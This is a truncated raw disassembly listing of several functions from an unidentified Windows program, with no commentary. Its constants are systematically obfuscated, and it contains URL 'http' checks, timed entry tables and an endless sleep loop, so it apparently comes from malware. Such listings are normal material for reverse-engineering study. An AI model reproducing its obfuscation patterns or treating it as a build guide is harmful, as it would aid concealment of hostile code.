; --------------------------------------------------------------------------- loc_443F62: ; CODE XREF: sub_443F06+53j lea eax, [ebp+var_24] push eax push offset dword_552A38 mov eax, [ebp+var_2C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_5510EC dec eax cmp ebx, eax jnz loc_444661 lea eax, [ebp+var_28] push eax mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov eax, dword_5510E0 sub eax, 6 cmp ebx, eax jnz loc_444658 mov eax, dword_551158 sub eax, 3 mov [ebp+var_1C], eax jmp loc_44464C ; --------------------------------------------------------------------------- loc_443FB7: ; CODE XREF: sub_443F06+74Cj mov eax, [ebp+var_1C] mov [ebp+var_10], eax mov [ebp+var_18], 2 lea eax, [ebp+var_4] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_24] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_551158 sub eax, 3 cmp ebx, eax jnz loc_444649 mov eax, dword_551204 movsx edx, word_5510CC add eax, edx sub eax, 3 mov [ebp+var_10044], eax lea eax, [ebp+var_10044] push eax push offset dword_552A48 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_55113C sub eax, 9 cmp ebx, eax jnz loc_444615 cmp [ebp+var_10044], 0 jz loc_444615 lea eax, [ebp+var_20] push eax mov eax, [ebp+var_10044] push eax mov edi, [eax] call dword ptr [edi+0F8h] mov ebx, eax or ebx, ebx jnz loc_444615 lea eax, [ebp+var_1003F] push eax push [ebp+var_20] call sub_43DBFE mov eax, dword_55112C sub eax, 7 push eax push offset dword_48C200 lea eax, [ebp+var_1003F] push eax call sub_43FE22 add esp, 14h mov edi, dword_55120C add edi, 0FFFBh add edi, dword_551238 cmp eax, edi jz loc_444615 movsx eax, word_5511E8 sub eax, 6 cmp [ebp+arg_8], eax jnz short loc_4440E0 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax inc eax jmp loc_44466C ; --------------------------------------------------------------------------- loc_4440E0: ; CODE XREF: sub_443F06+1BBj movsx eax, word_551194 add eax, dword_5511C8 sub eax, 9 mov [ebp+var_1007C], eax lea eax, [ebp+var_1007C] push eax push offset dword_552A68 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5510F8 sub eax, 5 cmp ebx, eax jnz loc_444615 mov [ebp+var_10055], 44h push offset word_5517E2 call sub_43CAF7 movsx edi, word_551218 movsx esi, word_551128 add edi, esi sub edi, 4 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43FE22 add esp, 10h movsx esi, word_551190 add esi, 0FFF7h cmp eax, esi jz short loc_444170 mov [ebp+var_10055], 50h loc_444170: ; CODE XREF: sub_443F06+261j push offset word_5517DA call sub_43CAF7 movsx edi, word_551208 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43FE22 add esp, 10h mov esi, dword_5510C0 add esi, 0FFFDh cmp eax, esi jz short loc_4441A9 mov [ebp+var_10055], 43h loc_4441A9: ; CODE XREF: sub_443F06+29Aj push offset word_5517D2 call sub_43CAF7 mov edi, dword_5510EC add edi, dword_55111C sub edi, 2 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43FE22 add esp, 10h mov esi, dword_5511B0 sub esi, 3 mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_4441EC: ; CODE XREF: sub_443F06+2FCj mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_444204 inc [ebp+var_10050] jmp short loc_4441EC ; --------------------------------------------------------------------------- loc_444204: ; CODE XREF: sub_443F06+2F4j mov eax, [ebp+var_10050] mov edx, dword_5510A4 sub edx, 7 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44901C mov [ebp+var_10080], eax push offset byte_5517CB call sub_43CAF7 movsx edi, word_551244 add edi, dword_551180 sub edi, 6 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43FE22 add esp, 14h mov esi, dword_551170 add esi, dword_551180 dec esi mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_44427C: ; CODE XREF: sub_443F06+38Cj mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_444294 inc [ebp+var_10050] jmp short loc_44427C ; --------------------------------------------------------------------------- loc_444294: ; CODE XREF: sub_443F06+384j mov eax, [ebp+var_10050] mov edx, dword_551174 sub edx, 7 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44901C pop ecx mov [ebp+var_1005C], eax mov eax, dword_551234 add eax, dword_55120C sub eax, 0Ch cmp [ebp+var_10080], eax ja short loc_444355 mov eax, dword_5510BC mov [ebp+var_10048], eax jmp short loc_444339 ; --------------------------------------------------------------------------- loc_4442E8: ; CODE XREF: sub_443F06+44Dj mov edi, [ebp+var_10048] mov esi, edi shl esi, 2 movsx edx, word_551128 sub edx, 5 cmp ds:dword_44A0E0[esi], edx jz short loc_444333 mov edx, [ebp+var_1005C] cmp ds:dword_449020[esi], edx jnz short loc_444333 mov dl, ds:byte_44B1B0[edi] cmp dl, [ebp+var_10055] jnz short loc_444333 movsx esi, word_551208 dec esi mov ds:dword_44A0E0[edi*4], esi loc_444333: ; CODE XREF: sub_443F06+3FEj ; sub_443F06+40Dj ... inc [ebp+var_10048] loc_444339: ; CODE XREF: sub_443F06+3E0j movsx eax, word_5510A8 mov edx, dword_5511FC lea eax, [eax+edx+3E8h] cmp [ebp+var_10048], eax jb short loc_4442E8 loc_444355: ; CODE XREF: sub_443F06+3D3j call ds:dword_54EA70 mov [ebp+var_10060], eax mov eax, dword_5511EC movsx edx, word_5511C4 add eax, edx sub eax, 0Bh mov [ebp+var_1004C], eax jmp short loc_4443E4 ; --------------------------------------------------------------------------- loc_44437A: ; CODE XREF: sub_443F06+4F4j mov edi, [ebp+var_1004C] shl edi, 2 movsx esi, word_551164 dec esi cmp ds:dword_44A0E0[edi], esi jz short loc_4443DE mov edi, ds:dword_4CD950[edi] mov esi, dword_5511DC add esi, 0EA60h mov edx, dword_5510C0 inc edx add edx, dword_5511AC imul esi, edx add edi, esi cmp edi, [ebp+var_10060] jnb short loc_4443DE mov edi, [ebp+var_1004C] movsx esi, word_551194 add esi, dword_5510DC sub esi, 5 mov ds:dword_44A0E0[edi*4], esi loc_4443DE: ; CODE XREF: sub_443F06+48Cj ; sub_443F06+4B9j inc [ebp+var_1004C] loc_4443E4: ; CODE XREF: sub_443F06+472j mov eax, dword_5510DC add eax, 3DFh add eax, dword_5510D4 cmp [ebp+var_1004C], eax jb loc_44437A mov eax, dword_551200 add eax, dword_5511FC sub eax, 5 mov [ebp+var_10054], eax jmp short loc_44443A ; --------------------------------------------------------------------------- loc_444416: ; CODE XREF: sub_443F06+54Dj mov edi, [ebp+var_10054] mov esi, dword_55111C add esi, dword_5511B4 sub esi, 6 cmp ds:dword_44A0E0[edi*4], esi jz short loc_444455 inc [ebp+var_10054] loc_44443A: ; CODE XREF: sub_443F06+50Ej mov eax, dword_55114C add eax, 3DDh movsx edx, word_55113C add eax, edx cmp [ebp+var_10054], eax jb short loc_444416 loc_444455: ; CODE XREF: sub_443F06+52Cj mov edi, [ebp+var_10054] mov esi, [ebp+var_1005C] mov ds:dword_449020[edi*4], esi mov esi, [ebp+arg_0] mov ds:dword_448060[edi*4], esi mov eax, edi mov dl, [ebp+var_10055] mov ds:byte_44B1B0[eax], dl movsx eax, word_5511A8 add eax, dword_55119C sub eax, 4 cmp [ebp+var_10080], eax jbe loc_44455F mov esi, dword_5511EC add esi, 0FFFCh movsx edx, word_551218 add esi, edx mov ds:word_48BA10[edi*2], si mov eax, dword_551154 add eax, dword_551220 sub eax, 0Ah mov [ebp+var_10088], eax jmp short loc_444547 ; --------------------------------------------------------------------------- loc_4444D0: ; CODE XREF: sub_443F06+651j mov edi, [ebp+var_10088] mov esi, edi shl esi, 2 mov edx, dword_551154 movsx ecx, word_551190 add edx, ecx sub edx, 10h cmp ds:dword_44A0E0[esi], edx jz short loc_444541 movzx edx, ds:word_48BA10[edi*2] mov ecx, dword_551178 add ecx, 0FFF6h movsx eax, word_5511A8 add ecx, eax cmp edx, ecx jz short loc_444541 mov edx, [ebp+var_1005C] cmp ds:dword_449020[esi], edx jnz short loc_444541 mov dl, ds:byte_44B1B0[edi] cmp dl, [ebp+var_10055] jnz short loc_444541 lea edi, ds:48BA10h[edi*2] inc word ptr [edi] jmp short loc_44457C ; --------------------------------------------------------------------------- loc_444541: ; CODE XREF: sub_443F06+5EEj ; sub_443F06+60Fj ... inc [ebp+var_10088] loc_444547: ; CODE XREF: sub_443F06+5C8j mov eax, dword_5510B8 add eax, 3E4h cmp [ebp+var_10088], eax jb loc_4444D0 jmp short loc_44457C ; --------------------------------------------------------------------------- loc_44455F: ; CODE XREF: sub_443F06+591j mov edi, [ebp+var_10054] mov esi, dword_5511BC add esi, dword_551188 sub esi, 0Ah mov ds:word_48BA10[edi*2], si loc_44457C: ; CODE XREF: sub_443F06+639j ; sub_443F06+657j call ds:dword_54EA70 mov edi, [ebp+var_10054] mov ds:dword_4CD950[edi*4], eax lea esi, off_5512A8 mov ds:dword_44A0E0[edi*4], esi mov edi, [ebp+var_10054] lea edi, ds:44A0E0h[edi*4] mov [ebp+var_10084], edi mov eax, edi push eax mov esi, [eax] call dword ptr [esi+4] mov edi, [ebp+var_10054] lea edi, ds:44A0E0h[edi*4] mov [ebp+var_10070], edi mov [ebp+var_10078], 9 lea esi, [ebp+var_10078] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_1007C] push edi mov edi, [edi] call dword ptr [edi+0A4h] mov ebx, eax lea eax, [ebp+var_10078] push eax call ds:dword_550044 inc [ebp+var_10054] mov eax, [ebp+var_1007C] push eax mov esi, [eax] call dword ptr [esi+8] loc_444615: ; CODE XREF: sub_443F06+138j ; sub_443F06+145j ... mov eax, dword_5511A0 sub eax, 8 cmp [ebp+var_10044], eax jz short loc_444631 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] loc_444631: ; CODE XREF: sub_443F06+71Dj movsx eax, word_551240 sub eax, 8 cmp [ebp+var_4], eax jz short loc_444649 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_444649: ; CODE XREF: sub_443F06+F4j ; sub_443F06+738j inc [ebp+var_1C] loc_44464C: ; CODE XREF: sub_443F06+ACj mov eax, [ebp+var_28] cmp [ebp+var_1C], eax jb loc_443FB7 loc_444658: ; CODE XREF: sub_443F06+9Bj mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] loc_444661: ; CODE XREF: sub_443F06+7Cj mov eax, [ebp+var_2C] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax loc_44466C: ; CODE XREF: sub_443F06+57j ; sub_443F06+1D5j pop edi pop esi pop ebx leave retn sub_443F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444671 proc near ; CODE XREF: sub_44493B:loc_44493Ep var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push ebx push esi push edi lea eax, [ebp+var_114] push eax movsx eax, word_5511C4 sub eax, 8 push eax mov eax, dword_551154 sub eax, 8 push eax push 21h movsx eax, word_551164 dec eax push eax call ds:dword_48BA00 mov ebx, eax or ebx, ebx jnz loc_4447C8 lea eax, [ebp+var_10] push eax call ds:dword_4CC430 mov eax, dword_5510DC movzx edx, [ebp+var_6] movzx ecx, [ebp+var_8] mov ebx, dword_5511BC add ebx, 36h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_A] movsx ebx, word_551144 mov esi, dword_5510E8 lea ebx, [ebx+esi+13h] imul ecx, ebx movsx ebx, word_551240 add ebx, 34h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_E] movsx ebx, word_551118 mov esi, dword_5511D0 lea ebx, [ebx+esi+0Fh] imul ecx, ebx mov ebx, dword_55114C add ebx, 15h movsx esi, word_551148 add ebx, esi imul ecx, ebx movsx ebx, word_55113C mov esi, dword_551124 lea ebx, [ebx+esi+31h] imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_10] mov ebx, dword_5510DC add ebx, 8 imul ecx, ebx mov ebx, dword_551188 add ebx, 11h add ebx, dword_551154 imul ecx, ebx movsx ebx, word_5510F8 lea eax, [ebx+eax+0Fh] imul ecx, eax mov eax, dword_5511B8 add eax, 34h add eax, dword_551150 imul ecx, eax mov eax, edx add eax, ecx mov ds:dword_448030, eax mov eax, dword_55122C add eax, dword_551180 sub eax, 6 mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_43DE84 add esp, 144h loc_4447C8: ; CODE XREF: sub_444671+3Cj pop edi pop esi pop ebx leave retn sub_444671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4447CD proc near ; CODE XREF: sub_43DA83+5Bp var_1007 = byte ptr -1007h var_1006 = byte ptr -1006h var_1002 = byte ptr -1002h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_4475B4 push ebx push esi push edi push offset byte_5517B9 call sub_43CAF7 pop ecx mov esi, dword_551228 sub esi, 8 push esi push eax movsx esi, word_551210 sub esi, 5 push esi push [ebp+arg_0] call ds:dword_50E930 mov edi, eax mov eax, dword_551204 sub eax, 2 cmp edi, eax jnz short loc_444818 mov edi, [ebp+arg_0] loc_444818: ; CODE XREF: sub_4447CD+46j push offset byte_5517A3 call sub_43CAF7 pop ecx mov esi, dword_551180 movsx ebx, word_551240 add esi, ebx sub esi, 8 push esi push eax movsx esi, word_5510B4 add esi, dword_551158 sub esi, 8 push esi push edi call ds:dword_50E930 mov edi, eax lea eax, [ebp+var_FFF] push eax push 0FFFh push 0Dh push edi call ds:dword_448018 mov eax, dword_551090 add eax, dword_5511B4 cmp [ebp+eax+var_1007], 20h jnz short loc_44488E mov eax, dword_55120C cmp [ebp+eax+var_1002], 20h jz loc_44491E loc_44488E: ; CODE XREF: sub_4447CD+ACj lea ecx, [ebp+var_FFF] or eax, 0FFFFFFFFh loc_444897: ; CODE XREF: sub_4447CD+CFj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_444897 mov ebx, dword_5510EC add ebx, 0Ch cmp eax, ebx jb short loc_44491E mov eax, dword_5510AC cmp [ebp+eax+var_1006], 68h jnz short loc_4448C9 mov eax, dword_55124C cmp [ebp+eax+var_1007], 74h jz short loc_44491E loc_4448C9: ; CODE XREF: sub_4447CD+EBj push offset word_55179E call sub_43CAF7 movsx esi, word_551164 add esi, 3 push esi push eax lea esi, [ebp+var_FFF] push esi call sub_43FE22 add esp, 10h movsx ebx, word_5510A8 add ebx, 0FFFFh cmp eax, ebx jnz short loc_44491E push offset dword_551798 call sub_43CAF7 pop ecx push eax mov esi, dword_5511E4 sub esi, 4 push esi push 0Ch push edi call ds:dword_448018 loc_44491E: ; CODE XREF: sub_4447CD+BBj ; sub_4447CD+DCj ... pop edi pop esi pop ebx leave retn sub_4447CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444923 proc near ; CODE XREF: sub_43E397+4Ap ; sub_43E397+5Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_551258 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_444923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_44493B proc near ; DATA XREF: sub_443843+19Ao push ebp mov ebp, esp loc_44493E: ; CODE XREF: sub_44493B+2Dj call sub_444671 mov eax, dword_551204 add eax, 76h mov edx, dword_5510E0 add edx, 0EA58h add edx, dword_551124 imul eax, edx push eax call ds:dword_50E924 pop ecx jmp short loc_44493E sub_44493B endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44496E proc near ; CODE XREF: sub_43B4E9+1Fp var_71F16 = byte ptr -71F16h var_71F14 = dword ptr -71F14h var_71F10 = dword ptr -71F10h var_71F0B = byte ptr -71F0Bh var_70F0C = dword ptr -70F0Ch var_70F08 = word ptr -70F08h var_70F00 = dword ptr -70F00h var_70EF4 = dword ptr -70EF4h var_70EEF = byte ptr -70EEFh var_60EF0 = word ptr -60EF0h var_60EE8 = dword ptr -60EE8h var_60EDD = byte ptr -60EDDh var_60EDC = dword ptr -60EDCh var_60ED8 = dword ptr -60ED8h var_60ED4 = dword ptr -60ED4h var_60ED0 = word ptr -60ED0h var_60EC8 = dword ptr -60EC8h var_60EC0 = dword ptr -60EC0h var_60EBC = dword ptr -60EBCh var_60EB8 = dword ptr -60EB8h var_60EB4 = dword ptr -60EB4h var_60EB0 = dword ptr -60EB0h var_60EAC = dword ptr -60EACh var_60EA8 = dword ptr -60EA8h var_60EA4 = dword ptr -60EA4h var_60E9F = byte ptr -60E9Fh var_50EAC = byte ptr -50EACh var_50EA0 = dword ptr -50EA0h var_50E9B = byte ptr -50E9Bh var_40EB8 = byte ptr -40EB8h var_40EB0 = dword ptr -40EB0h var_40EA8 = word ptr -40EA8h var_40EA0 = dword ptr -40EA0h var_40E9C = dword ptr -40E9Ch var_40E98 = dword ptr -40E98h var_40E94 = byte ptr -40E94h var_40E90 = dword ptr -40E90h var_40E8C = dword ptr -40E8Ch var_40E88 = dword ptr -40E88h var_40E84 = dword ptr -40E84h var_40E80 = byte ptr -40E80h var_40E78 = dword ptr -40E78h var_40E70 = dword ptr -40E70h var_40E6C = dword ptr -40E6Ch var_40E68 = dword ptr -40E68h var_40E64 = dword ptr -40E64h var_40E60 = dword ptr -40E60h var_40E5C = dword ptr -40E5Ch var_40E57 = byte ptr -40E57h var_40E56 = byte ptr -40E56h var_40E55 = byte ptr -40E55h var_40E54 = byte ptr -40E54h var_30E58 = dword ptr -30E58h var_30E54 = dword ptr -30E54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30D4A = byte ptr -30D4Ah var_30D44 = byte ptr -30D44h var_30D40 = byte ptr -30D40h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 71F14h call sub_4475B4 push ebx push esi push edi lea eax, [ebp+var_40E80] push eax call ds:dword_448048 lea eax, [ebp+var_40E94] push eax lea eax, [ebp+var_40E80] push eax push 9 mov eax, dword_5511E4 sub eax, 4 push eax push [ebp+arg_0] call ds:dword_4CC224 mov ebx, eax mov eax, dword_551100 add eax, dword_551220 sub eax, 0Bh cmp ebx, eax jnz loc_4457C5 mov eax, dword_5510E0 sub eax, 6 mov [ebp+var_40E60], eax mov ecx, [ebp+var_40E78] mov [ebp+var_40E64], ecx lea ecx, [ebp+var_40E60] push ecx push offset dword_552AA8 mov eax, [ebp+var_40E64] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551234 add eax, dword_55114C sub eax, 0Ah cmp ebx, eax jnz loc_4457C5 lea eax, [ebp+var_40E84] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax mov eax, dword_5510BC add eax, dword_5511E0 sub eax, 4 cmp ebx, eax jnz loc_4457B9 lea eax, [ebp+var_40E57] push eax push [ebp+var_40E84] call sub_43DBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_40E98], edi push [ebp+var_40E84] call ds:dword_54FF34 cmp [ebp+var_40E57], 68h jnz short loc_444A8C cmp [ebp+var_40E56], 74h jnz short loc_444A8C cmp [ebp+var_40E55], 74h jnz short loc_444A8C cmp [ebp+var_40E54], 70h jz short loc_444A91 loc_444A8C: ; CODE XREF: sub_44496E+101j ; sub_44496E+10Aj ... jmp loc_4457B9 ; --------------------------------------------------------------------------- loc_444A91: ; CODE XREF: sub_44496E+11Cj lea eax, [ebp+var_30E4C] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax mov eax, dword_551184 add eax, dword_55118C sub eax, 5 cmp ebx, eax jz short loc_444ACC mov eax, dword_551180 add eax, dword_5510BC mov [ebp+var_30E4C], eax loc_444ACC: ; CODE XREF: sub_44496E+14Bj lea eax, [ebp+var_40E68] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax mov eax, dword_551130 dec eax cmp ebx, eax jnz loc_4457B9 lea eax, [ebp+var_40E6C] push eax push offset dword_552A28 mov eax, [ebp+var_40E68] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55110C sub eax, 2 cmp ebx, eax jnz loc_4457AD lea eax, [ebp+var_40E70] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov eax, dword_551124 add eax, dword_551090 sub eax, 6 cmp ebx, eax jnz loc_4457A1 lea eax, [ebp+var_40E90] push eax mov eax, [ebp+var_40E70] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_5511C0 add eax, dword_551200 sub eax, 6 cmp ebx, eax jnz loc_445795 mov eax, dword_5511D4 add eax, dword_55123C sub eax, 7 neg eax mov [ebp+var_40E5C], eax push offset dword_551788 call sub_43FEC5 push eax call ds:dword_44900C mov [ebp+var_30E44], eax push offset dword_551774 call sub_43FEC5 push eax call ds:dword_44900C mov [ebp+var_30E48], eax movsx eax, word_55109C mov edx, dword_55122C sub edx, 7 mov [ebp+eax+var_30D44], dl mov eax, dword_5510E0 add eax, dword_551170 mov [ebp+eax+var_30D4A], 44h mov eax, dword_551248 movsx edx, word_5510CC add eax, edx mov [ebp+eax+var_30D44], 7Ch lea eax, [ebp+var_40E57] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 10h loc_444C0E: ; CODE XREF: sub_44496E+DFBj movsx eax, word_551194 dec eax mov [ebp+var_40E8C], eax mov eax, dword_551114 add eax, dword_551150 sub eax, 5 mov [ebp+var_40E88], eax movsx eax, word_551164 add eax, dword_5511BC sub eax, 6 neg eax cmp [ebp+var_40E5C], eax jnz short loc_444C91 lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax movsx eax, word_551210 sub eax, 5 cmp ebx, eax jnz loc_445757 push offset byte_551763 call sub_43CAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C add esp, 0Ch jmp loc_444DAD ; --------------------------------------------------------------------------- loc_444C91: ; CODE XREF: sub_44496E+2DAj mov [ebp+var_40EA8], 17h mov eax, [ebp+var_40E5C] mov [ebp+var_40EA0], eax lea eax, [ebp+var_40EB8] push eax lea eax, [ebp+var_40EA8] push eax mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+1Ch] lea eax, [ebp+var_40E88] push eax push offset dword_552A78 push [ebp+var_40EB0] mov edi, [ebp+var_40EB0] mov edi, [edi] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_5511F8 add eax, dword_551184 sub eax, 7 cmp ebx, eax jnz loc_445757 lea eax, [ebp+var_40E8C] push eax mov eax, [ebp+var_40E88] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax mov eax, dword_551238 add eax, dword_55121C sub eax, 4 cmp ebx, eax jz short loc_444D34 mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_445757 ; --------------------------------------------------------------------------- loc_444D34: ; CODE XREF: sub_44496E+3B3j lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E8C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov eax, dword_551100 add eax, dword_551234 sub eax, 11h cmp ebx, eax jz short loc_444D78 mov eax, [ebp+var_40E8C] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_445757 ; --------------------------------------------------------------------------- loc_444D78: ; CODE XREF: sub_44496E+3EBj push offset dword_551754 call sub_43CAF7 push [ebp+var_40E5C] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50E928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 18h loc_444DAD: ; CODE XREF: sub_44496E+31Ej lea eax, [ebp+var_30E58] push eax mov eax, [ebp+var_30E54] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov eax, dword_5510C8 add eax, dword_5510A4 sub eax, 8 cmp ebx, eax jnz loc_445757 movsx eax, word_5510C4 sub eax, 6 mov [ebp+var_30E50], eax jmp loc_445745 ; --------------------------------------------------------------------------- loc_444DED: ; CODE XREF: sub_44496E+DE3j mov [ebp+var_60ED0], 2 mov eax, [ebp+var_30E50] mov [ebp+var_60EC8], eax movsx eax, word_5511C4 add eax, dword_5511F4 mov edx, dword_55115C sub edx, 4 mov [ebp+eax+var_50EAC], dl lea eax, [ebp+var_60EC0] push eax lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_30E54] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax movsx eax, word_5510C4 sub eax, 6 cmp ebx, eax jnz loc_44573F push offset word_551746 call sub_43CAF7 push [ebp+var_30E50] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50E928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 18h movsx eax, word_5510CC add eax, dword_5511E4 sub eax, 5 mov [ebp+var_60ED4], eax lea eax, [ebp+var_60ED4] push eax push offset dword_552A48 mov eax, [ebp+var_60EC0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55122C add eax, dword_551224 sub eax, 8 cmp ebx, eax jnz loc_4453A0 lea eax, [ebp+var_60ED8] push eax mov eax, [ebp+var_60ED4] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax mov eax, dword_551154 add eax, dword_551174 sub eax, 0Fh cmp ebx, eax jnz loc_445394 lea eax, [ebp+var_60E9F] push eax push [ebp+var_60ED8] call sub_43DBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_60EB8], edi push [ebp+var_60ED8] call ds:dword_54FF34 mov eax, dword_551248 sub eax, 4 mov [ebp+var_40E9C], eax jmp short loc_444F9B ; --------------------------------------------------------------------------- loc_444F51: ; CODE XREF: sub_44496E+639j mov eax, [ebp+var_40E9C] movsx eax, [ebp+eax+var_60E9F] mov edx, dword_5511AC add edx, 0Bh cmp eax, edx jz short loc_444F7F mov edx, dword_551134 add edx, 4 add edx, dword_551170 cmp eax, edx jnz short loc_444F95 loc_444F7F: ; CODE XREF: sub_44496E+5FCj mov eax, [ebp+var_40E9C] mov edx, dword_55115C sub edx, 4 mov [ebp+eax+var_60E9F], dl loc_444F95: ; CODE XREF: sub_44496E+60Fj inc [ebp+var_40E9C] loc_444F9B: ; CODE XREF: sub_44496E+5E1j mov eax, [ebp+var_60EB8] cmp [ebp+var_40E9C], eax jb short loc_444F51 lea eax, [ebp+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call sub_4475D4 movsx eax, word_55109C add eax, dword_551124 sub eax, 8 mov [ebp+var_40E9C], eax loc_444FD2: ; CODE XREF: sub_44496E+7A5j mov eax, [ebp+var_40E9C] lea ecx, [ebp+eax+var_60E9F] or eax, 0FFFFFFFFh loc_444FE2: ; CODE XREF: sub_44496E+679j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_444FE2 mov [ebp+var_60EA8], eax mov edx, dword_55123C mov ecx, edx add ecx, edx cmp eax, ecx jz short loc_445015 movsx edx, word_551218 mov ecx, dword_5510E0 lea edx, [edx+ecx+0C2h] cmp eax, edx jbe short loc_44501A loc_445015: ; CODE XREF: sub_44496E+68Dj jmp loc_4450EA ; --------------------------------------------------------------------------- loc_44501A: ; CODE XREF: sub_44496E+6A5j movsx eax, word_551244 sub eax, 7 mov [ebp+var_60EA4], eax jmp short loc_445054 ; --------------------------------------------------------------------------- loc_44502C: ; CODE XREF: sub_44496E+6F2j mov eax, [ebp+var_40E9C] add eax, [ebp+var_60EA4] movsx eax, [ebp+eax+var_60E9F] movsx edx, word_5510FC add edx, 1Eh cmp eax, edx jnz short loc_445062 inc [ebp+var_60EA4] loc_445054: ; CODE XREF: sub_44496E+6BCj mov eax, [ebp+var_60EA8] cmp [ebp+var_60EA4], eax jb short loc_44502C loc_445062: ; CODE XREF: sub_44496E+6DEj mov eax, [ebp+var_60EA8] cmp [ebp+var_60EA4], eax jz short loc_4450EA movsx eax, word_5510FC dec eax push eax mov eax, [ebp+var_40E9C] lea eax, [ebp+eax+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call sub_43FE22 add esp, 0Ch mov [ebp+var_60EDC], eax mov eax, dword_551180 add eax, 0FFF7h add eax, dword_551234 cmp [ebp+var_60EDC], eax jnz short loc_4450EA push offset 